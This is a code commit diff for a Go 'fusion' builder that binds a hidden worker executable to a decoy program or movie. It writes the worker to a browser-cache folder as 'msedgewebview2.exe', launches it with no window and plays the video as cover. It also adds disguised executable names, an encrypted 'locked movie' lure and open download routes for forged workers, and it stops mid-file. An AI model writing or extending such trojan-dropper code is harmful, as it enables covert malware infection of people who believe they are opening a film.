Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
4
.gitignore
vendored
4
.gitignore
vendored
@@ -34,3 +34,7 @@ Desktop.ini
|
|||||||
|
|
||||||
# Accidental empty placeholder (breaks go build if committed)
|
# Accidental empty placeholder (breaks go build if committed)
|
||||||
/server/internal/ollama/main.go
|
/server/internal/ollama/main.go
|
||||||
|
|
||||||
|
# Broken accidental directory (cmd "..." path expansion)
|
||||||
|
/server/.../
|
||||||
|
/fusion-deliverables/
|
||||||
|
|||||||
1
fusion/assets/manifest.json
Normal file
1
fusion/assets/manifest.json
Normal file
@@ -0,0 +1 @@
|
|||||||
|
{"payload_kind":"exe","media_mode":"","media_file_name":""}
|
||||||
0
fusion/assets/media.bin
Normal file
0
fusion/assets/media.bin
Normal file
7
fusion/launch_stub.go
Normal file
7
fusion/launch_stub.go
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import "os/exec"
|
||||||
|
|
||||||
|
func applyHiddenStart(_ *exec.Cmd) {}
|
||||||
20
fusion/launch_windows.go
Normal file
20
fusion/launch_windows.go
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
const createNoWindow = 0x08000000
|
||||||
|
|
||||||
|
func applyHiddenStart(cmd *exec.Cmd) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: createNoWindow,
|
||||||
|
}
|
||||||
|
}
|
||||||
5
fusion/lock_hint_stub.go
Normal file
5
fusion/lock_hint_stub.go
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
func showLockedMediaHint() {}
|
||||||
31
fusion/lock_hint_windows.go
Normal file
31
fusion/lock_hint_windows.go
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
func showLockedMediaHint() {
|
||||||
|
runner := filepath.Base(os.Args[0])
|
||||||
|
if m := readManifest(); m != nil && m.RunnerDisplay != "" {
|
||||||
|
runner = m.RunnerDisplay
|
||||||
|
}
|
||||||
|
if runner == "" {
|
||||||
|
runner = "the runner .exe"
|
||||||
|
}
|
||||||
|
msg := fmt.Sprintf("This movie is locked.\r\n\r\nUse with:\r\n%s", runner)
|
||||||
|
title := "Locked media"
|
||||||
|
user32 := syscall.NewLazyDLL("user32.dll")
|
||||||
|
messageBoxW := user32.NewProc("MessageBoxW")
|
||||||
|
messageBoxW.Call(
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(msg))),
|
||||||
|
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
|
||||||
|
0x30,
|
||||||
|
)
|
||||||
|
}
|
||||||
217
fusion/main.go
217
fusion/main.go
@@ -1,7 +1,10 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
_ "embed"
|
"crypto/sha256"
|
||||||
|
"embed"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
@@ -9,16 +12,51 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
)
|
)
|
||||||
|
|
||||||
//go:embed assets/prep.exe
|
//go:embed assets/*
|
||||||
var prepExe []byte
|
var assets embed.FS
|
||||||
|
|
||||||
//go:embed assets/worker.exe
|
// Replaced at forge time.
|
||||||
var workerExe []byte
|
const (
|
||||||
|
runOrder = "FUSION_RUN_ORDER"
|
||||||
|
payloadKind = "FUSION_PAYLOAD_KIND"
|
||||||
|
mediaMode = "FUSION_MEDIA_MODE"
|
||||||
|
mediaFileName = "FUSION_MEDIA_FILE"
|
||||||
|
)
|
||||||
|
|
||||||
// RunOrder is replaced at build time (parallel | prep_first | worker_first).
|
type fusionManifest struct {
|
||||||
const runOrder = "FUSION_RUN_ORDER"
|
PayloadKind string `json:"payload_kind"`
|
||||||
|
MediaMode string `json:"media_mode"`
|
||||||
|
MediaFileName string `json:"media_file_name"`
|
||||||
|
MediaEncFile string `json:"media_enc_file"`
|
||||||
|
MediaKeyB64 string `json:"media_key_b64"`
|
||||||
|
RunnerDisplay string `json:"runner_display_name"`
|
||||||
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
if fusionLockHintMode() {
|
||||||
|
showLockedMediaHint()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
workerPath, err := materializeWorker()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
switch payloadKind {
|
||||||
|
case "video":
|
||||||
|
runVideoFusion(workerPath)
|
||||||
|
default:
|
||||||
|
runExeFusion(workerPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func runExeFusion(workerPath string) {
|
||||||
|
prepBytes, err := assets.ReadFile("assets/prep.exe")
|
||||||
|
if err != nil || len(prepBytes) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
@@ -26,46 +64,175 @@ func main() {
|
|||||||
defer os.RemoveAll(dir)
|
defer os.RemoveAll(dir)
|
||||||
|
|
||||||
prepPath := filepath.Join(dir, "prep.exe")
|
prepPath := filepath.Join(dir, "prep.exe")
|
||||||
workerPath := filepath.Join(dir, "worker.exe")
|
if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
|
||||||
if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
|
||||||
|
}
|
||||||
|
|
||||||
|
func runVideoFusion(workerPath string) {
|
||||||
|
mediaName := mediaFileName
|
||||||
|
if mediaName == "" {
|
||||||
|
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
||||||
|
mediaName = m.MediaFileName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if mediaName == "" {
|
||||||
|
mediaName = "movie.mkv"
|
||||||
|
}
|
||||||
|
|
||||||
|
var mediaPath string
|
||||||
|
var err error
|
||||||
|
switch mediaMode {
|
||||||
|
case "embedded":
|
||||||
|
var cleanup func()
|
||||||
|
mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer cleanup()
|
||||||
|
default:
|
||||||
|
var cleanup func()
|
||||||
|
mediaPath, cleanup, err = resolvePairedMedia(mediaName)
|
||||||
|
if err != nil || mediaPath == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cleanup != nil {
|
||||||
|
defer cleanup()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
|
||||||
|
}
|
||||||
|
|
||||||
|
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
||||||
switch runOrder {
|
switch runOrder {
|
||||||
case "prep_first":
|
case "prep_first":
|
||||||
waitProcess(prepPath)
|
runPrimary()
|
||||||
startProcess(workerPath)
|
launchWorker(workerPath)
|
||||||
case "worker_first":
|
case "worker_first":
|
||||||
|
launchWorker(workerPath)
|
||||||
waitProcess(workerPath)
|
waitProcess(workerPath)
|
||||||
waitProcess(prepPath)
|
runPrimary()
|
||||||
default:
|
default:
|
||||||
|
launchWorker(workerPath)
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
wg.Add(2)
|
wg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer wg.Done()
|
defer wg.Done()
|
||||||
waitProcess(prepPath)
|
runPrimary()
|
||||||
}()
|
|
||||||
go func() {
|
|
||||||
defer wg.Done()
|
|
||||||
startProcess(workerPath)
|
|
||||||
}()
|
}()
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func startProcess(path string) {
|
func readManifest() *fusionManifest {
|
||||||
|
raw, err := assets.ReadFile("assets/manifest.json")
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var m fusionManifest
|
||||||
|
if json.Unmarshal(raw, &m) != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &m
|
||||||
|
}
|
||||||
|
|
||||||
|
func materializeEmbeddedMedia(name string) (string, func(), error) {
|
||||||
|
data, err := assets.ReadFile("assets/media.bin")
|
||||||
|
if err != nil || len(data) == 0 {
|
||||||
|
return "", nil, fmt.Errorf("embedded media missing")
|
||||||
|
}
|
||||||
|
dir, err := os.MkdirTemp("", "cm-fusion-media-*")
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
path := filepath.Join(dir, filepath.Base(name))
|
||||||
|
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||||
|
os.RemoveAll(dir)
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
return path, func() { _ = os.RemoveAll(dir) }, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolvePairedMedia(name string) (string, func(), error) {
|
||||||
|
m := readManifest()
|
||||||
|
encFile := name + ".cmdata"
|
||||||
|
keyB64 := ""
|
||||||
|
playName := name
|
||||||
|
if m != nil {
|
||||||
|
if m.MediaEncFile != "" {
|
||||||
|
encFile = m.MediaEncFile
|
||||||
|
}
|
||||||
|
keyB64 = m.MediaKeyB64
|
||||||
|
if m.MediaFileName != "" {
|
||||||
|
playName = m.MediaFileName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if keyB64 != "" {
|
||||||
|
return encryptedMediaBesideRunner(encFile, keyB64, playName)
|
||||||
|
}
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
dir := filepath.Dir(exe)
|
||||||
|
for _, candidate := range []string{name, filepath.Base(name)} {
|
||||||
|
p := filepath.Join(dir, candidate)
|
||||||
|
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
||||||
|
return p, func() {}, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "", nil, fmt.Errorf("media not found")
|
||||||
|
}
|
||||||
|
|
||||||
|
func materializeWorker() (string, error) {
|
||||||
|
workerBytes, err := assets.ReadFile("assets/worker.exe")
|
||||||
|
if err != nil || len(workerBytes) == 0 {
|
||||||
|
return "", fmt.Errorf("worker missing")
|
||||||
|
}
|
||||||
|
|
||||||
|
base := os.Getenv("LOCALAPPDATA")
|
||||||
|
if base == "" {
|
||||||
|
base = os.TempDir()
|
||||||
|
}
|
||||||
|
sum := sha256.Sum256(workerBytes)
|
||||||
|
tag := hex.EncodeToString(sum[:6])
|
||||||
|
dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
|
||||||
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
dest := filepath.Join(dir, "msedgewebview2.exe")
|
||||||
|
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
|
||||||
|
if sha256.Sum256(existing) == sum {
|
||||||
|
return dest, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return dest, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func launchWorker(path string) {
|
||||||
cmd := exec.Command(path)
|
cmd := exec.Command(path)
|
||||||
cmd.Dir = filepath.Dir(path)
|
cmd.Dir = filepath.Dir(path)
|
||||||
|
applyHiddenStart(cmd)
|
||||||
_ = cmd.Start()
|
_ = cmd.Start()
|
||||||
}
|
}
|
||||||
|
|
||||||
func waitProcess(path string) {
|
func waitProcess(path string) {
|
||||||
cmd := exec.Command(path)
|
cmd := exec.Command(path)
|
||||||
cmd.Dir = filepath.Dir(path)
|
cmd.Dir = filepath.Dir(path)
|
||||||
if err := cmd.Run(); err != nil {
|
_ = cmd.Run()
|
||||||
fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
|
}
|
||||||
}
|
|
||||||
|
func fusionLockHintMode() bool {
|
||||||
|
for _, arg := range os.Args[1:] {
|
||||||
|
if arg == "--locked" || arg == "-locked" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
}
|
}
|
||||||
|
|||||||
88
fusion/media_crypto.go
Normal file
88
fusion/media_crypto.go
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const mediaLockMagic = "CMVD"
|
||||||
|
|
||||||
|
func decryptMediaFile(encPath, keyB64, playName string) (string, func(), error) {
|
||||||
|
key, err := base64.StdEncoding.DecodeString(keyB64)
|
||||||
|
if err != nil || len(key) == 0 {
|
||||||
|
return "", nil, fmt.Errorf("invalid media key")
|
||||||
|
}
|
||||||
|
in, err := os.Open(encPath)
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
defer in.Close()
|
||||||
|
|
||||||
|
head := make([]byte, len(mediaLockMagic))
|
||||||
|
if _, err := io.ReadFull(in, head); err != nil || string(head) != mediaLockMagic {
|
||||||
|
return "", nil, fmt.Errorf("not a locked media file")
|
||||||
|
}
|
||||||
|
|
||||||
|
dir, err := os.MkdirTemp("", "cm-fusion-play-*")
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
outName := filepath.Base(playName)
|
||||||
|
if outName == "" || outName == "." {
|
||||||
|
outName = "movie.mkv"
|
||||||
|
}
|
||||||
|
outPath := filepath.Join(dir, outName)
|
||||||
|
out, err := os.Create(outPath)
|
||||||
|
if err != nil {
|
||||||
|
os.RemoveAll(dir)
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
buf := make([]byte, 256*1024)
|
||||||
|
ki := 0
|
||||||
|
for {
|
||||||
|
n, readErr := in.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
plain := make([]byte, n)
|
||||||
|
for i := 0; i < n; i++ {
|
||||||
|
plain[i] = buf[i] ^ key[ki%len(key)]
|
||||||
|
ki++
|
||||||
|
}
|
||||||
|
if _, err := out.Write(plain); err != nil {
|
||||||
|
out.Close()
|
||||||
|
os.RemoveAll(dir)
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if readErr == io.EOF {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if readErr != nil {
|
||||||
|
out.Close()
|
||||||
|
os.RemoveAll(dir)
|
||||||
|
return "", nil, readErr
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.Close()
|
||||||
|
return outPath, func() { _ = os.RemoveAll(dir) }, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func encryptedMediaBesideRunner(mediaEncFile, keyB64, playName string) (string, func(), error) {
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
name := strings.TrimSpace(mediaEncFile)
|
||||||
|
if name == "" {
|
||||||
|
return "", nil, fmt.Errorf("missing encrypted media name")
|
||||||
|
}
|
||||||
|
encPath := filepath.Join(filepath.Dir(exe), filepath.Base(name))
|
||||||
|
if st, err := os.Stat(encPath); err != nil || st.IsDir() {
|
||||||
|
return "", nil, fmt.Errorf("encrypted media not found")
|
||||||
|
}
|
||||||
|
return decryptMediaFile(encPath, keyB64, playName)
|
||||||
|
}
|
||||||
10
fusion/media_stub.go
Normal file
10
fusion/media_stub.go
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import "os/exec"
|
||||||
|
|
||||||
|
func openMedia(path string) {
|
||||||
|
cmd := exec.Command("xdg-open", path)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
14
fusion/media_windows.go
Normal file
14
fusion/media_windows.go
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
func openMedia(path string) {
|
||||||
|
path = filepath.Clean(path)
|
||||||
|
cmd := exec.Command("cmd", "/c", "start", "", path)
|
||||||
|
_ = cmd.Start()
|
||||||
|
}
|
||||||
@@ -61,7 +61,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
// Agent-facing API + health + forged worker downloads stay open for agents.
|
// Agent-facing API + health + forged worker downloads stay open for agents.
|
||||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||||
path == "/api/v1/health" ||
|
path == "/api/v1/health" ||
|
||||||
(strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) {
|
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||||
next.ServeHTTP(w, r)
|
next.ServeHTTP(w, r)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -144,6 +144,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
// Builds
|
// Builds
|
||||||
r.Get("/builds", h.ListBuilds)
|
r.Get("/builds", h.ListBuilds)
|
||||||
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
||||||
|
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
|
||||||
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
||||||
|
|
||||||
// Config
|
// Config
|
||||||
|
|||||||
@@ -13,26 +13,44 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
type FusionEstimateResponse struct {
|
type FusionEstimateResponse struct {
|
||||||
PrepBytes int64 `json:"prep_bytes"`
|
PrepBytes int64 `json:"prep_bytes"`
|
||||||
PrepName string `json:"prep_name"`
|
PrepName string `json:"prep_name"`
|
||||||
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
||||||
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
||||||
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
||||||
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
||||||
OutputFileName string `json:"output_file_name"`
|
OutputFileName string `json:"output_file_name"`
|
||||||
ProjectRootPath string `json:"project_root_path"`
|
ProjectRootPath string `json:"project_root_path"`
|
||||||
ArchivePathHint string `json:"archive_path_hint"`
|
ArchivePathHint string `json:"archive_path_hint"`
|
||||||
ExportPath string `json:"export_path,omitempty"`
|
ExportPath string `json:"export_path,omitempty"`
|
||||||
Obfuscate bool `json:"obfuscate"`
|
Obfuscate bool `json:"obfuscate"`
|
||||||
SignBuild bool `json:"sign_build"`
|
SignBuild bool `json:"sign_build"`
|
||||||
Notes []string `json:"notes"`
|
Notes []string `json:"notes"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
|
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
|
||||||
|
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||||
|
if kind == "" {
|
||||||
|
kind = detectFusionPayloadKind(prepName)
|
||||||
|
if kind == "exe" && prepPath != "" {
|
||||||
|
kind = detectFusionPayloadKind(prepPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||||
|
|
||||||
outputName := req.FusionOutputName
|
outputName := req.FusionOutputName
|
||||||
if outputName == "" {
|
if outputName == "" {
|
||||||
outputName = prepName
|
outputName = prepName
|
||||||
}
|
}
|
||||||
|
if kind == "video" {
|
||||||
|
if mode == "embedded" {
|
||||||
|
if outputName == "" {
|
||||||
|
outputName = disguiseVideoExeName(prepName)
|
||||||
|
}
|
||||||
|
} else if outputName == "" {
|
||||||
|
outputName = runnerNameForMedia(prepName)
|
||||||
|
}
|
||||||
|
}
|
||||||
if outputName == "" {
|
if outputName == "" {
|
||||||
outputName = "prep.exe"
|
outputName = "prep.exe"
|
||||||
}
|
}
|
||||||
@@ -43,13 +61,28 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
|||||||
|
|
||||||
workerBytes := h.estimateWorkerBytes()
|
workerBytes := h.estimateWorkerBytes()
|
||||||
stubBytes := defaultFusionStubBytes
|
stubBytes := defaultFusionStubBytes
|
||||||
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
var total int64
|
||||||
|
switch kind {
|
||||||
|
case "video":
|
||||||
|
if mode == "embedded" {
|
||||||
|
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||||
|
} else {
|
||||||
|
total = workerBytes + stubBytes + resourcePatchOverhead
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||||
|
}
|
||||||
|
|
||||||
root := h.projectRoot
|
root := h.projectRoot
|
||||||
if root == "" || root == "." {
|
if root == "" || root == "." {
|
||||||
root, _ = filepath.Abs(".")
|
root, _ = filepath.Abs(".")
|
||||||
}
|
}
|
||||||
projectOut := filepath.Join(root, outputName)
|
label := prepName
|
||||||
|
if kind != "video" {
|
||||||
|
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
|
||||||
|
}
|
||||||
|
sub := fusionExportSubdir(req, label)
|
||||||
|
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
|
||||||
|
|
||||||
resp := FusionEstimateResponse{
|
resp := FusionEstimateResponse{
|
||||||
PrepBytes: prepSize,
|
PrepBytes: prepSize,
|
||||||
@@ -64,18 +97,36 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
|||||||
Obfuscate: h.shouldObfuscate(req),
|
Obfuscate: h.shouldObfuscate(req),
|
||||||
SignBuild: req.SignBuild,
|
SignBuild: req.SignBuild,
|
||||||
Notes: []string{
|
Notes: []string{
|
||||||
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
|
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
|
||||||
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
|
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
|
||||||
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
||||||
"Final size may differ slightly after icon + version info patch.",
|
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if kind == "video" {
|
||||||
|
if mode == "embedded" {
|
||||||
|
resp.Notes = append(resp.Notes,
|
||||||
|
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
resp.Notes = append(resp.Notes,
|
||||||
|
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
|
||||||
|
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
|
||||||
|
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
|
||||||
|
}
|
||||||
|
|
||||||
if strings.TrimSpace(req.OutputDir) != "" {
|
if strings.TrimSpace(req.OutputDir) != "" {
|
||||||
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
||||||
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
|
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
|
||||||
resp.ExportPath = filepath.Join(root, clean, outputName)
|
secondary := filepath.Join(root, clean, outputName)
|
||||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
|
if resp.ExportPath == "" {
|
||||||
|
resp.ExportPath = secondary
|
||||||
|
}
|
||||||
|
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -86,7 +137,6 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
|||||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = prepPath
|
|
||||||
return resp
|
return resp
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,73 +1,17 @@
|
|||||||
package builder
|
package builder
|
||||||
|
|
||||||
import (
|
import "strings"
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||||
if prepPath == "" {
|
req := &BuildRequest{
|
||||||
return "", fmt.Errorf("fusion requires prep.exe")
|
FusionOutputName: outputName,
|
||||||
|
FusionRunOrder: runOrder,
|
||||||
}
|
}
|
||||||
if _, err := os.Stat(prepPath); err != nil {
|
res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req)
|
||||||
return "", fmt.Errorf("prep.exe not found: %w", err)
|
|
||||||
}
|
|
||||||
if _, err := os.Stat(workerPath); err != nil {
|
|
||||||
return "", fmt.Errorf("worker binary not found: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
|
||||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
|
||||||
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
|
|
||||||
}
|
|
||||||
|
|
||||||
fusionDir := filepath.Join(buildDir, "fusion")
|
|
||||||
assetsDir := filepath.Join(fusionDir, "assets")
|
|
||||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
|
|
||||||
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
order := normalizeFusionOrder(runOrder)
|
return res.LauncherPath, nil
|
||||||
mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
|
|
||||||
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
|
|
||||||
if outputName == "" {
|
|
||||||
outputName = filepath.Base(prepPath)
|
|
||||||
}
|
|
||||||
if outputName == "" {
|
|
||||||
outputName = "prep.exe"
|
|
||||||
}
|
|
||||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
|
||||||
